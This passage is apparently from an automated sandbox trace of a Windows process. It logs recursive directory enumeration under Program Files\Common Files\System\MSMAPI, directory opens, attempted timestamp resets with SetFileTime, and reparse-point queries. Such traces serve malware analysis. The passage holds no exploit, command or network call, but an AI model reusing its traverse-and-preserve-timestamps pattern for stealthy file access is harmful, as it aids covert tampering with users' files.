dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0065.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0065.520] GetLastError () returned 0x12 [0065.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa074b8) returned 1 [0065.520] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0065.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0065.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0065.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0065.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0065.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0065.520] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0065.521] GetLastError () returned 0x12 [0065.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0065.521] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0065.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0065.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.521] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0065.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0065.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0065.523] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0065.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa08d30 [0065.524] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa08d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa08d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0065.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.524] NtClose (Handle=0x16c) returned 0x0 [0065.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0065.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0065.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0065.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0065.524] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0065.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.524] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0065.524] GetLastError () returned 0x12 [0065.524] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0065.524] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0065.524] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.524] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0065.525] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0065.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa08d30 [0065.525] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa08d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa08d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0065.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.525] NtClose (Handle=0x16c) returned 0x0 [0065.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0065.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0065.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa074b8 [0065.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07540 [0065.525] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0065.525] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.525] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0065.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07430 [0065.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07430) returned 1 [0065.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07430 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07430) returned 1 [0065.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07430 [0065.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07430) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0065.526] GetLastError () returned 0x12 [0065.526] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0065.526] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0065.526] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 